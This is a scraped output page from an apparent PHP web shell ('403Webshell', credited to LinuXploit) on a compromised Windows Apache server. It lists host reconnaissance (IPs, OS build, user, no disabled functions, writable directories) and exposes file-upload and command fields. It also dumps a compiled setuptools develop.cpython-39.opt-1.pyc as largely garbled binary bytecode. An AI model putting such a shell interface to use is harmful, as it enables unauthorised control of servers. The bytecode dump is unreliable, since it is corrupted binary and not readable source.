403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/setuptools/command/__pycache__/develop.cpython-39.opt-1.pyc
a

��e��@s�ddlmZddlmZddlmZddlZddlZddlm	Z	ddl
mZddl
mZddl
m
Z
ddl
Z
Gd	d
�d
e
je	�ZGdd�d�ZdS)
�)�convert_path)�log)�DistutilsOptionErrorN)�easy_install)�_normalization)�_path)�
namespacesc@sveZdZdZdZejddgZejdgZdZdd�Z	d	d
�Z
dd�Zed
d��Z
dd�Zdd�Zdd�Zdd�ZdS)�developzSet up package for developmentz%install package in 'development mode')�	uninstall�uzUninstall this source package)z	egg-path=Nz-Set the path to be used in the .egg-link filer
FcCs2|jrd|_|��|��n|��|��dS)NT)r
Z
multi_version�uninstall_linkZuninstall_namespaces�install_for_developmentZwarn_deprecated_options��self�r�>/usr/lib/python3.9/site-packages/setuptools/command/develop.py�runs
zdevelop.runcCs&d|_d|_t�|�d|_d|_dS)N�.)r
�egg_pathr�initialize_options�
setup_pathZalways_copy_fromrrrrr%s

zdevelop.initialize_optionscCsddl}|�d�}|jg|_t�|�|��|��|j�	t
�
d��t�|j�d}t
j�|j|�|_|j|_|jdur�t
j�|j�|_t�|j�}t�t
j�|j|j��}||kr�td|��|j||�|t
j�|j��|jd�|_|�|j|j|j�|_dS)Nr�egg_infoz*.eggz	.egg-linkzA--egg-path must be a relative path from the install directory to �Zproject_name)�
pkg_resourcesZget_finalized_commandZegg_name�argsr�finalize_optionsZexpand_basedirsZexpand_dirsZ
package_index�scan�globrZfilename_component_broken�os�path�join�install_dir�egg_link�egg_baser�abspathr�normpathrZDistributionZPathMetadatar�dist�_resolve_setup_pathr)rrZeiZegg_link_fn�targetrrrrr,s>


�
����zdevelop.finalize_optionscCsj|�tjd��d�}|tjkr0d|�d�d}t�tj�	|||��}t�tj�}||krft
d||��|S)z�
        Generate a path from egg_base back to '.' where the
        setup script resides and ensure that path points to the
        setup path from $install_dir/$egg_path.
        �/z../�zGCan't get a consistent path to setup script from installation directory)�replacer�sep�rstrip�curdir�countrr%rr r)r#r!rZ
path_to_setupZresolvedr.rrrr'Us
�zdevelop._resolve_setup_pathcCs�|�d�|jddd�|�d�tjr:|�tj�dt_|��t�d|j|j	�|j
s�t|jd��&}|�|j
d|j�Wd�n1s�0Y|�d|j|j�dS)NrZ	build_extr*)ZinplacezCreating %s (link to %s)�w�
)Zrun_commandZreinitialize_command�
setuptoolsZbootstrap_install_fromrZinstall_namespacesr�infor"r#�dry_run�open�writerrZprocess_distributionr&Zno_deps)r�frrrr
js

4zdevelop.install_for_developmentcCs�tj�|j�rzt�d|j|j�t|j�}dd�|D�}|��||j	g|j	|j
gfvrht�d|�dS|jszt�
|j�|js�|�|j�|jjr�t�d�dS)NzRemoving %s (link to %s)cSsg|]}|���qSr)r-)�.0�linerrr�
<listcomp>��z*develop.uninstall_link.<locals>.<listcomp>z$Link points to %s: uninstall abortedz5Note: you must uninstall or replace scripts manually!)rr�existsr"rr3r#r5�closerr�warnr4�unlinkZ
update_pthr&�distribution�scripts)rZ
egg_link_file�contentsrrrr�s
zdevelop.uninstall_linkc	Cs�||jurt�||�S|�|�|jjp*gD]`}tj�t	|��}tj�
|�}t|��}|��}Wd�n1sr0Y|�
||||�q,dS�N)r&r�install_egg_scripts�install_wrapper_scriptsr@rArrr$r�basenamer5�readZinstall_script)rr&Zscript_nameZscript_pathZstrmZscript_textrrrrD�s


&zdevelop.install_egg_scriptscCst|�}t�||�SrC)�VersionlessRequirementrrE�rr&rrrrE�szdevelop.install_wrapper_scriptsN)�__name__�
__module__�__qualname__�__doc__�descriptionrZuser_optionsZboolean_optionsZcommand_consumes_argumentsrrr�staticmethodr'r
rrDrErrrrr	s"�	)
r	c@s(eZdZdZdd�Zdd�Zdd�ZdS)	rHa�
    Adapt a pkg_resources.Distribution to simply return the project
    name as the 'requirement' so that scripts will work across
    multiple versions.

    >>> from pkg_resources import Distribution
    >>> dist = Distribution(project_name='foo', version='1.0')
    >>> str(dist.as_requirement())
    'foo==1.0'
    >>> adapted_dist = VersionlessRequirement(dist)
    >>> str(adapted_dist.as_requirement())
    'foo'
    cCs
||_dSrC)�_VersionlessRequirement__distrIrrr�__init__�szVersionlessRequirement.__init__cCst|j|�SrC)�getattrrP)r�namerrr�__getattr__�sz"VersionlessRequirement.__getattr__cCs|jSrCrrrrr�as_requirement�sz%VersionlessRequirement.as_requirementN)rJrKrLrMrQrTrUrrrrrH�srH)Zdistutils.utilr�	distutilsrZdistutils.errorsrrrZsetuptools.command.easy_installrr2rrrZDevelopInstallerr	rHrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit